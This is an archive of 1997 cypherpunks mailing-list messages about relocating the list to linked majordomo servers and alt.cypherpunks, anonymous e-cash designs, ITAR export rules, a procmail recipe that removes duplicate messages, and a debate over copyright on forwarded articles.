We have established the first link between cypherpunks@ssz.com and
cypherpunks@algebra.com. Testing will continue for about 24 hours and we
hope to have the link going two-way within a couple of days.

If testing proceeds at the current pace we should be ready to go for a 3-way
link if anyone will be ready this weekend. If we can get a 3-way going we
should be ready for prime time.

                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 12 Feb 1997 13:41:15 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Network of majordomos
Message-ID: <199702122141.NAA05972@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley <paul@fatmans.demon.co.uk> writes:
> > Greg Broiles wrote:
> > > I sent a proposal to alt.config last night and intend to newgroup 
> > > alt.cypherpunks in a week or so
> 
> 
> Greg.
> 
> Don`t bother, I have already drawn up a draft charter and newsgrouped 
> it. Wouldn`t have bothered if I knew you were already on it but I 
> didn`t see your post in alt.config...
> 
> Seeya there...

What was your chater?  Could you Cc a copy to the list?

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 12 Feb 1997 22:29:43 -0800 (PST)
To: "Timothy C. May" <cypherpunks@toad.com>
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702130629.WAA04666@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:25 PM 2/12/97 -0800, Timothy C. May wrote:

>Having said this, the flaw remains that "junk mail" is "free" to the
>sender. This is a flaw in the ontology of e-mail, and needs to be fixed.
>Digital postage is one approach.

I decided long ago (okay, well, many months ago) that the "solution" is to 
invent a mechanism to allow spammers/advertisers to include a small amount 
of ecash as a gift with every spam.  I figure that if USnail junk-mailers 
are willing to pay $0.32 for postage and probably $0.50 for production, 
printing, and labelling costs, all for no guarantees of results, they should 
even more happy to pay, say, 10 cents to each recipient.  At that rate, an average 
person would probably receive enough "spam" to  pay for his Internet 
account, quite analogous to the way advertiser-supported TV is presented to 
the public for no explicit charge.




Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Wed, 12 Feb 1997 21:11:26 -0800 (PST)
To: Cypherpunks <cypherpunks@manifold.algebra.com
Subject: How to make majordomo request confirmations of subscriptions?
Message-ID: <199702130511.VAA29241@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi All,

I would like to set up my majordomo to request subscription
confirmations from users, by sending them a cookie. Looking at the
majordomo config files, I have not found such option.

Ideally I would like to have a system that a) requires the
new users confirm new subscriptions and b) once in a while
as users to confirm their existing subscriptions.

Is there any way to do it?

Thank you.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 12 Feb 1997 22:26:27 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: anonymity and e-cash
Message-ID: <199702130626.WAA04490@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:59 PM 2/12/97 -0800, Hal Finney wrote:
>From: tcmay@got.net (Tim May)
>> You missed a very good talk by Ian Goldberg of UC Berkeley at the Saturday
>> Cypherpunks meeting at Stanford, where Ian talked for more than an hour on
>> just this issue. (He also talked for an hour on his crack of the RSA
>> challenge using 250 workstations...this was also a good talk.)
>
>I wish I could have heard that, it sounds good...
>
>A simple idea we have discussed for full anonymity uses the idea of
>exchanging coins at the bank.  You make an anonymous connection to
>the bank, supply some ecash you have received along with some blinded
>new ecash.  The bank verifies that the ecash is good and signs your
>blinded ecash, sending it back to you.  You unblind it and have good,
>fresh smelling ecash which you can keep, spend, or later deposit in
>your account.
>
>If the merchant performs this exchange operation on-line as soon as
>he receives ecash, then his anonynmity is protected.  The customer is
>protected too, by the blinding he used when he withdrew the ecash earlier.
>So both sides remain anonymous.
>
>It sounds like Ian may have worked out details of a system where third
>parties do these exchanges.  Banks may be reluctant to allow them for
>liability reasons, and the market, abhoring the vacuum, will supply
>intermediaries who perform exchanges for a fee.
>
>Resolving the various forms of cheating is the hard part.  When Lee asks
>about a signed receipt, it is hard to understand what is the point if the
>seller is fully anonymous!  A signed receipt from a freshly-minted key
>is not of much use to anyone.
>
>If the participants are using persistant pseudonyms then whatever
>reputation capital they have can be put on the line when cheating happens,
>although it still may be hard to tell who cheated whom.  Did the customer
>pass bad cash and claim it was good, or did the merchant deposit good
>cash and claim it was bad?
>
>The same thing could happen every day at the supermarket, of course.
>A customer insists they paid $20 but got change for a $10.  If dozens of
>customers say the same thing has happened to them, we start to mistrust
>the market, while if several businesses say this particular customer
>has made the same claim to them, we blame the customer.

Here is another idea.
The merchant and customer agree on a price, with the merchant knowing that
the "bank" will take a cut for their services.
The merchant and customer both LOG IN to the bank seperately, each type in
their agreed upon price and cut & paste in the services rendered
information.  If they match, the bank makes the necessary transaction
between the accounts, e-cash stash, etc.  The bank also supplies both
parties with a clear signed receipt.  The bank can now no longer alter the
receipt, as the merchant and customer both have a copy.  And the customer
and merchant can not alter the receipt, because then it would fail the test
on the signature.
If a receipt for a transaction number were used, then the only threat would
be the same one that exists for remailer operators.  This could be negated
by daisy-chaining banks in a similair manner.  If each bank took a cut of
non-customers of $.0002 or .02% of the transaction, whichever was greater,
then a suitable system could be set up.

Another idea that has been festering.  If we could get a CPA involved in
this forum, I would be willing to have h[im/er] sign my key, (which is
seldom used, mostly because this is the only place I use e-mail), for that
reasonable fee that CPA's can charge.  I know that it is not a standard, or
even legally recognized, post for CPA's, but I think that enough people
would trust them.
This would take care of some of the "newly minted" key problems.  Since
getting someone who is trusted to sign your key is a recognized method of
getting people to believe you are who you say you are.  Just an idea.
Actually two, one half thought out, one that has been bugging me.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Omegaman <omegam@cmq.com>
Date: Wed, 12 Feb 1997 21:15:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cypherpunks Distributed Remailer
Message-ID: <199702130515.VAA29506@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@EINSTEIN.ssz.com> writes:

> 
> Hi,
> 
> We have established the first link between cypherpunks@ssz.com and
> cypherpunks@algebra.com. Testing will continue for about 24 hours and we
> hope to have the link going two-way within a couple of days.
> 
> If testing proceeds at the current pace we should be ready to go for a 3-way
> link if anyone will be ready this weekend. If we can get a 3-way going we
> should be ready for prime time.


Jim,
  I suggest getting in touch with Lance Cottrell (loki@Cyberpass.net)
ASAP and coordinating with him as he has the facilities to host the
entire list, but desires the distributed approach.  He is currently
gating Cypherpunks-unedited@toad.com to subscribers of
cypherpunks@Cyberpass.net.  He would make an excellent third link in
the chain and seems to be willing.

Furthermore, he has also indicated that he is eventually interested in
gating back and forth to the newly created and already-active
alt.cypherpunks.  He needs help and information on just how to do
that, though.  This would complete the circle, syncing all the
available routes to cypherpunks.  All will benefit by having the
choice of mail-filters and/or newsreading facilities to experience the
unfiltered/unedited/unstoppable list.

Hope the experiments prove sturdy and wish all best of luck.

me

-- 
_______________________________________________________________
 Omegaman <mailto:omegam@cmq.com>
  PGP Key fingerprint = 6D 31 C3 00 77 8C D1 C2
                        59 0A 01 E3 AF 81 94 63 
 Send e-mail with "get key" in the "Subject:" 
 field to get a copy of my public key
_______________________________________________________________






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Wed, 12 Feb 1997 21:13:29 -0800 (PST)
To: Tim May <tcmay@got.net>
Subject: Re: anonymity and e-cash
Message-ID: <199702130513.VAA29421@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


	In fact, the Identity Agnostic bits were Doug's, and they were
focused on the idea that a bank that did not implement blinding could
be used in an anonymous fashion by someone willing to violate the
patents.

	/*  Blind(*coin) here would violate Chaum's patent, so we
	 *  can't do that 
	 */

Adam

Tim May wrote:

| At 1:19 PM -0800 2/12/97, Lee Tien wrote (on the Cypherpunks@toad.com list):

| In August of '95, Doug Barnes released a long article on "Identity
| Agnostic" systems. (His article is no longer at the www.communities.com Web
| site, so I can't refer you to it. Maybe he'll post it again.)

| In fact, Ian showed, the Chaum patents on blinding are NOT USED by the
| Mint/Bank; only the CUSTOMER uses the blinding patents (and the MERCHANT in
| some cases, not in other cases). This means that "anyone a mint" does not
| violate any of the Chaum/Digicash patents, and "mint clients" are likely to
| be written by third parties. (The _customer_ is presumably on the honor
| system to abide by the Chaum patents...except the patents are only being
| licensed to banks...go figure.)
| 
| (This is where, as I recall, Doug's "agnostic" system came in...it is
| possible his thinking was similar to Ian's...I don't have Doug's paper
| handy.)



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Hornbeck <rnh2@ix.netcom.com>
Date: Wed, 12 Feb 1997 22:28:04 -0800 (PST)
To: Benjamin Grosman <bgrosman@magna.com.au>
Subject: Re: Transmission of Crypto material and ITAR
Message-ID: <199702130628.WAA04590@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Unless someone in the U.S. is willing to go to the effort of capturing all
of the packets that comprise the crypto software package as they pass
through various MCI, Sprint, etc. networks (which is probably illegal in
itself, in most cases), on their way from the UK to your site in Australia
and then reassembling them in the U.S. into something that is in violation
of the export regulations, what difference does the path of the individual
packets make?

At 01:15 PM 2/13/97 -0800, you wrote:
>Dear All,
>
>I have a question regarding the impossible enforcement of ITAR/EAR:
>Naturally I cannot download crypto software from the US, but most of these
>sites have mirrors in other countries, such as the UK for PGP, and sweden
>and finland for lots of things.
>
>However, with the way that information is routed throughout the internet
>from these sites, whenever I, in Australia, request packets containing this
>data from the UK etc, it invariably passes through the US from coast to
>coast! Therefore, if ITAR/EAR tries to govern that, aren't they really
>trying to enforce something totally unenforcable? Surely they cannot expect
>all gateways operated by, say, Sprint and MCI to packet sniff 'n' search? 
>
>Can anyone tell me what the ruling is with regards to this?
>
>Yours Sincerely,
>
>Benjamin Grosman
>
>----------------------------------------------------------------
>  Benjamin Grosman - Programmer, Magna Data Internet Solutions
>  Quidquid latine dictum sit, altum viditur.
>                  [Whatever is said in Latin sounds profound.]
>----------------------------------------------------------------
>
>
>
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Moroni <moroni@scranton.com>
Date: Wed, 12 Feb 1997 21:13:30 -0800 (PST)
To: Tobin Fricke <tobin@edm.net>
Subject: Re: NSA Rainbow Series.
Message-ID: <199702130513.VAA29426@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


       Zip,NAda,Nothing. And they have more too. They were backlogged so
some people haven't gotten their mail since I last posted about. I called
yesterday about my videos and posters and lo and behold I received my two
tech manuals today.
       The people who answer the lines are friendly and usually pretty
industrious in getting things out or done.
       By the way there is supposed to be a department split in the near
future so I don't know if manuals will be in one department and posters in
another or what.



On Wed, 12 Feb 1997, Tobin Fricke wrote:

> Date: Wed, 12 Feb 1997 18:03:35 -0800
> From: Tobin Fricke <tobin@edm.net>
> To: Moroni <moroni@scranton.com>, Genocide <gen2600@aracnet.com>
> Cc: Cypherpunks Mailing List <cypherpunks@toad.com>
> Subject: Re: NSA Rainbow Series.
> 
> >        1-800-688-6115 press 0 or just wait for the operator. My second
> > order consisting of posters and video has not arrived either. It has been
> > about 6 weeks. The Rainbow order was only 2 weeks. Be prepared that when
> > you order the Rainbow series you will be getting a large box.Their are
> > something like 30+ booklets in the series.
> >         There is a set of security posters  that include a Santa
> > poster.And there is also a video with two films on it (Acess Ins and outs
> > adb Acess Control).
> 
> How much does all this stuff from the NSA cost?
> 
> Tobin Fricke
> (please reply privately, tobin@mail.edm.net)
> 
> 
















       xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
       x   No success can compensate for failure in the home.  x
       x                                                       x
       xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 12 Feb 1997 22:28:08 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: subscribe
Message-ID: <199702130628.WAA04598@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:48 PM 2/12/97 -0600, Igor Chudov wrote:
>Jim Choate wrote:
>> 
>> 
>> Hi Igor,
>> 
>> > I will not impact me negatively. I do, however, suggest very strongly
>> > that hosts should be subscribed to each other thgrough another mechanism
>> > and not majordomo, in order to prevent mail loops, header rewriting and
such.
>> 
>> Suggestions? What I had in mind was that any messages that get sent on
>> cpunks@ssz.com get sent over to algebra. One mechanism I would like to play
>> with is a 'linked list' of remailers. Remailer A sends only to B and
>> receives only from C...
>> 
>> 
>>                                A
>>                              ^   v
>>                              C < B
>
>> Then to stop loops B deletes all outgoing mail from B. Since email can be
>> forwarded from many sites the search must traverse the entire forward chain
>> killing the message if B appears as a source. I suspect a simple procmail
sort
>> can accomplish this. My next step is to brush up on my procmail. I hope to
>> have something in a couple of days that will allow you to subscribe
>> cpunks@algebra to cpunks@ssz and both ends will be filtering.
>
>Here's how I do it (it is pretty close to your proposal): 
>
>1) I delete duplicate messages (by looking up the database of
>message-IDs) right away
>2) I bounce all incoming messages to several other list servers
>3) I pipe the article to majordomo for distribution.
>
>Note that majordomo changes headers and I wuold like to feed
>other servers with UNCHANGED articles.
...
>> Another nice advantage of this architecture is that 'rings' of remailers can
>> be interconnected by simply sending output to more than one site. Might even
>> be a good stability rule, "Never have a remailer send to more than 1 machine
>> in its 'own' ring". I see no limit other than resources that would limit the
>> number of rings an individual remailer might be in.
>
>A very good point.
>
...
Something to consider.  If anyone of the distributed remailers is removed
from a ring, the messages that need to travel across that ring can no longer
do that.  This makes the loop only as strong as its most at risk remailer.
The star approach has already been seen in action, the trouble here is a
single choke point.
Full interconnectability is only feasible in a small net, but I would advise
this at first.  Check for the x-loop to see if another one got it first.  If
none, add one and send it on down the line.
A disjointed mess, if the remailers are given first access to the list,
could work quite well as long as that x-loop remained to point to who sent
the message, and the x-loop contained an unalterable message number, and the
remailers could eliminate duplications, probably based on message number.
This should work as the net grows and would only be as weak as the strongest
two connected remailers.
Sounds like the internet.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Omegaman <omegam@cmq.com>
Date: Wed, 12 Feb 1997 21:13:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Newgroup -- distributed mailing list on the way?
Message-ID: <199702130513.VAA29428@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The following message is a courtesy copy of an article
that has been posted as well.

It appears that the distributed mailing-list effort is well underway.
Experiments by Igor Chudov and Jim Choate are progressing.  The next
few weeks should iron out the kinks.(over-optimism?)

Lance Cottrell (mixmaster author) has also agreed to host the list,
the entire list if need-be.  Although his posts on the cypherpunks
list indicate that he favors the distributed list approach.  Lance is
also in the unique position of having the computing resources to feed
the list to and from alt.cypherpunks.  

Furthermore, Lance seems to be favorable to this idea as well.
However, he needs help in getting up to speed on just how to create
and run this news-to-mail/mail-to-news gateway.

What this means is that the same list will be propagated through
multiple sources, making the destruction or loss of any one source
non-catastrophic.  It is also the classic net approach of routing
around censorship channels.  Furthermore, users who cannot access the
alt.* hierarchy or easily read newsgroups have the option of
subscribing to mailing lists and receiving the same uncensored feed.

This also means that users will have a maximum amount of resources at
their disposal to better experience the list and eliminate the net's
inevitable spam and noise.  Users who have access to or prefer
powerful newsreaders and NoCeM's can use them at will.  Users who have
procmail, Pegasus Mail, Eudora Mail and other email-filtering schemes
can use those powerful tools.

It is likely that the cypherpunks list/group will remain a target of
spammers and disruptors.  The controversial topics are bound to
generate noise.  The entrance of unitiated individuals via Usenet is
bound to create some interesting and sometimes aggravating discussions
as well as the inevitable re-hashing of some old issues.  

The unfiltered, uncensored, and multi-homed list/group leaves the
responsibility where it belongs, in the lap of end-user.  Ignore the
noise and the noisemakers.  Defeat the disruptors by avoiding them.
Accept your responsiblity and contribute Signal whenever you can.

"Arise!  You have nothing to lose but your barbed-wire fences."

git along 'lil doggies





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 12 Feb 1997 22:55:56 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702130655.WAA06383@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dr.Dimitri Vulis KOTM wrote:
> > "Timothy C. May" <tcmay@got.net> writes:
> > > At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote:

> > > >If the people decide for creation of a new USENET newsgroup,
> > > >we need to think very hard about actually moving it to a different
> > > >hierarchy from alt.*. I would propose comp.org.cypherpunks,
> > > >comp.cypherpunks, sci.crypt.cypherpunks or something like that.

> It is too late to stop alt.cypherpunks, but if I had to make a
> prediction again, I would predict that soon posters will BEG to help
> them create comp.*.cypherpunks, because of spam and alt.flamage.

I would lean toward sci.crypt.cypherpunks myself.  Are there any
implications in the use of that name as to restrictions, etc.?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Wed, 12 Feb 1997 21:15:17 -0800 (PST)
To: Bryan Reece <reece@taz.nceye.net>
Subject: Re: Network of majordomos (fwd)
Message-ID: <199702130515.VAA29507@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Bryan,

What you did may be the ideal way to go actually. It would be
great to have several NNTP servers with these (or similarly named)
groups open to the world. I believe that it is possible to set 
them up such that they feed each other.

say, the following groups may be good:

cypherpunks.crypto
cypherpunks.politics
cypherpunks.flames
cypherpunks.products
cypherpunks.pgp (sort of redundant with the pgp newsgroups)
cypherpunks.groups
cypherpunks.admin
cypherpunks.kooks
cypherpunks.remailers
cypherpunks.paranoia (or cypherpunks.tla)
cypherpunks.politics.assassination
cypherpunks.censorship

(the following part is more questionable as some people would argue in
favor of nocems)

cypherpunks.moderated.sandy-sandfort
cypherpunks.moderated.ray-arachelian
cypherpunks.moderated.tim-may
cypherpunks.moderated.... whoever else wants ...


igor

Bryan Reece wrote:
> 
>    Date: Wed, 12 Feb 1997 14:33:03 -0800
>    From: Greg Broiles <gbroiles@netbox.com>
> 
>    Yes, I installed INN and ran a few hundred test messages through it last
>    night. My machine will be on the net full-time Thursday or Friday. Will yours
>    be ready then, too? 
> 
> We've got INN here. I created a cpunks.general group (as well as
> alt.cypherpunks) on taz.nceye.net and made both world-accessible.  Our
> feed hasn't got alt.cypherpunks yet; is someone who has got it willing
> to feed it?  (also, is there a consensus on what group names to use:
> new top-level hierarchy? cpunks or cypherpunks? or just the alt group,
> with the usual propagation and spam problems?)
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Thu, 13 Feb 1997 06:43:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: anonymity and e-cash
Message-ID: <199702131443.GAA01435@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From: Sean Roach <roach_s@alph.swosu.edu>
> Here is another idea.
> The merchant and customer agree on a price, with the merchant knowing that
> the "bank" will take a cut for their services.
> The merchant and customer both LOG IN to the bank seperately, each type in
> their agreed upon price and cut & paste in the services rendered
> information.  If they match, the bank makes the necessary transaction
> between the accounts, e-cash stash, etc.

This provides no anonymity with respect to the bank, right?  The bank
knows who is paying whom.  That's not very valuable IMO.  The bank is
still a centralized place where all this transaction information exists,
a fat target for privacy opponents.  I'd say that anonymity to the
bank is more important than anonymity to the merchant for this reason.
So I think you're going at this backwards.

> Another idea that has been festering.  If we could get a CPA involved in
> this forum, I would be willing to have h[im/er] sign my key, (which is
> seldom used, mostly because this is the only place I use e-mail), for that
> reasonable fee that CPA's can charge.  I know that it is not a standard, or
> even legally recognized, post for CPA's, but I think that enough people
> would trust them.

The big question with identity certificates is what procedures were followed
in verifying the identity when the cert was issued.  If the CPA publishes
some standard method, and his reputation is strong enough that people will
trust him to follow it, then it might well be worth money to you to have
him sign it.  This is the traditional role of the Certification Authority.

> This would take care of some of the "newly minted" key problems.  Since
> getting someone who is trusted to sign your key is a recognized method of
> getting people to believe you are who you say you are.

It depends on the circumstances where you expect to use your key.  Within
a small to medium circle of associates there may be some group members
who sign keys and are trusted by other members of the group.  There is
no particular reason for it to be difficult.  If you want a signature which
will be accepted by everyone in the U.S. you have a harder problem.

Hal





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 21:11:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Private property rights on cypherpunks (fwd)
Message-ID: <199702130511.VAA29300@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Wed, 12 Feb 1997 22:58:42 -0500 (EST)
> From: Declan McCullagh <declan@pathfinder.com>
> Subject: Private property rights on cypherpunks

> I forward articles to cypherpunks that are copyrighted by my employers, or
> magazines like Playboy and Wired for which I write freelance pieces. 
> 
> I like to think these articles have some value. I will not forward any of
> them, nor would I be able to, if they magically became "public domain."
> 
> "De facto public domain" is an idea that deserves to die. Now.

Really? Do you have a priori permission from your publisher, who owns those
stories, to distribute them elsewhere?

If not please explain why I or any other person should be a willing
acomplice? You could also still post them anonymously. You could also
simply include a 'fair use' proviso somewhere.

In such a case it would be in your publishers best interest to require a
copyright notice. In that case there is no confusion about who owns those
rights. Especialy when you consider the traffic is global which means your
'implied copyright' here don't mean squat there. I suspect just about
every place that recognizes a copyright recognizes an explicit one.

Instead of "De facto public domain should die" how about,

"Implied a priori contracts should die now"

Lord a mighty, haven't you heard? Information wants to be free. Let the
thing go. If you really think your words are something that will someday win
a Nobel or make Mr. Bill look like a pauper note it explicitly. However,
it would seem to me that implicit copyright works against the axiomatic
crypto-icon.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 12 Feb 1997 21:13:29 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Private property rights on cypherpunks
Message-ID: <199702130513.VAA29422@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I forward articles to cypherpunks that are copyrighted by my employers, or
magazines like Playboy and Wired for which I write freelance pieces. 

I like to think these articles have some value. I will not forward any of
them, nor would I be able to, if they magically became "public domain."

"De facto public domain" is an idea that deserves to die. Now.

-Declan


On Wed, 12 Feb 1997, Jim Choate wrote:

> 
> Forwarded message:
> 
> > Date: Tue, 11 Feb 1997 22:46:03 -0800
> > From: Greg Broiles <gbroiles@netbox.com>
> > Subject: List for discussing many majordomos
> 
> > Yes, this is a good idea. One of the proponents of the "many majordomos"
> > project apparently has plans to impose his own ideas about intellectual
> > property on the project, and this seems like a pretty serious thing for a
> > setup that's allegedly going to prevent censorship. We need a place to
> > discuss this.
> 
> Please explain how making submissions de facto public domain censors
> anyone?
> 
> 
>                                                      Jim Choate
>                                                      CyberTects
>                                                      ravage@ssz.com
> 
> 
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Wed, 12 Feb 1997 21:11:49 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Cypherpunks Distributed Remailer (fwd)
Message-ID: <199702130511.VAA29292@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
| 
| Forwarded message:
| 
| > Date: Wed, 12 Feb 1997 14:22 EDT
| > From: "E. Allen Smith" <EALLENSMITH@ocelot.rutgers.edu>
| 
| > 	Umm... because you'll eventually accumulate _lots_ of addresses
| > that don't work, which will slow things down tremendously in sending
| > mail out?
| 
| The current subscription is between 1,000 and 2,000 I don't think that is
| _lots_. All we need to do is count the number of bounces per address in
| a given period, the SSZ end is trying to decide between weekly or
| monthly cleanings, and then clear that address. At no point would I need
| to archive the original bounce.

qmail has bounce management software for its list management tools.
(bounceman) "Russell Nelson has a bounce manager which <b>totally</b>
eliminates any need to deal with bounces."

www.qmail.org




-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Wed, 12 Feb 1997 21:13:21 -0800 (PST)
To: Anil Das <das@razor.engr.sgi.com>
Subject: Re: whois cypherpunks.org ?
Message-ID: <199702130513.VAA29411@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Aleph1 (Levy) is a grey hatted hacker.  Amongst other things, he
moderates the bugtraq mailing list.  Decent fellow.

Adam


Anil Das wrote:
| With all this talk about relocating the home of cypherpunks, I decided to
| see if any second level domains are registered under the cypherpunks
| name.
| 
| Both cypherpunks.org and cypherpunks.com are registered by one
| Elias M. Levy in Ft. Meade, MD. I haven't seen his name on the list
| though. Anybody knows more about this?
| 
| --
| Anil Das
| 


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@sgi.com>
Date: Thu, 13 Feb 1997 06:41:04 -0800 (PST)
To: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Subject: Re: Procmail during the transition, anyone?
Message-ID: <199702131441.GAA01300@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Michael Froomkin - U.Miami School of Law wrote:
> 
> At various stages in the transition, we will be getting multiple copies of
> the same messages as the are re- cross- whatever-posted to lists,
> newsgroups and anything else handy.
> 
> Anyone have a procmail script that will show me just ONE copy of messages,
> even if the headers are not identical (e.g. one looped, another was
> forwarded, etc.)?
> 

# Remove duplicate messages
:0 Wh: .msgid.lock
| formail -D 8192 .msgid.cache


It detects duplicates by Message-Id.

-- 
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 12 Feb 1997 21:11:55 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: New group
Message-ID: <199702130511.VAA29299@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

paul@fatmans.demon.co.uk writes:
<snip>
> > I pressed the URL alt.cypherpunks and my Netscape server said
> > "no such thing" or words to that effect.
> 
> The control message may take a few more hours to propogate, either 
> that or your newsadmin has rmgrouped it. The charter was clear and 
> concise and explained the issues so I don`t see why it should have 
> been rmgrouped. Can you mail me if it hasn`t been created by the time 
> you get this email and I`ll re-issue the cmsg. However, I`m sure it 
> was OK as Robert Hettinga (sp?) found it on his news server today...

Yet another "me too,"
alt.cypherpunks is alive (dunno about well, time shall tell) on my
news server.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQB1AwUBMwKe2Mkz/YzIV3P5AQGQYQMAkwiuqAV/PsdcCscHVbsT6rxoKMv63UQh
ebBIUh9QnXxVqjxcv3dvoanYGrP1Ldyvza9GXgLlTBIwtAuC+Od026mcV0NljUT/
9WSg3iaHdUBReHpXbTsOVF+a9lQp4fzP
=Hfgq
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 17:02:20 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Network of majordomos
Message-ID: <199702130102.RAA11047@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> What was your chater?  Could you Cc a copy to the list?

I didn`t save it but it was something along the lines of this:

Charter:

alt.cypherpunks will serve as a discussion forum for the members of 
the cypherpunks community. The discussion group previously resided on 
a mailing list run at toad.com but due to a difference of opinion 
between the majority of active members of the list and the owner of 
toad.com, John Gilmore, the list must now relocate onto usenet as a 
temporary measure while further measures are put in place to 
re-establish a mailing list format. The group has approximately 1500 
members and has been active online for some 5 years.

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Wed, 12 Feb 1997 22:26:21 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: subscribe
Message-ID: <199702130626.WAA04481@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sean Roach wrote:
> ...
> Something to consider.  If anyone of the distributed remailers is removed
> from a ring, the messages that need to travel across that ring can no longer
> do that.  This makes the loop only as strong as its most at risk remailer.
> The star approach has already been seen in action, the trouble here is a
> single choke point.
> Full interconnectability is only feasible in a small net, but I would advise
> this at first.  Check for the x-loop to see if another one got it first.  If
> none, add one and send it on down the line.
> A disjointed mess, if the remailers are given first access to the list,
> could work quite well as long as that x-loop remained to point to who sent
> the message, and the x-loop contained an unalterable message number, and the
> remailers could eliminate duplications, probably based on message number.
> This should work as the net grows and would only be as weak as the strongest
> two connected remailers.
> Sounds like the internet.
> 

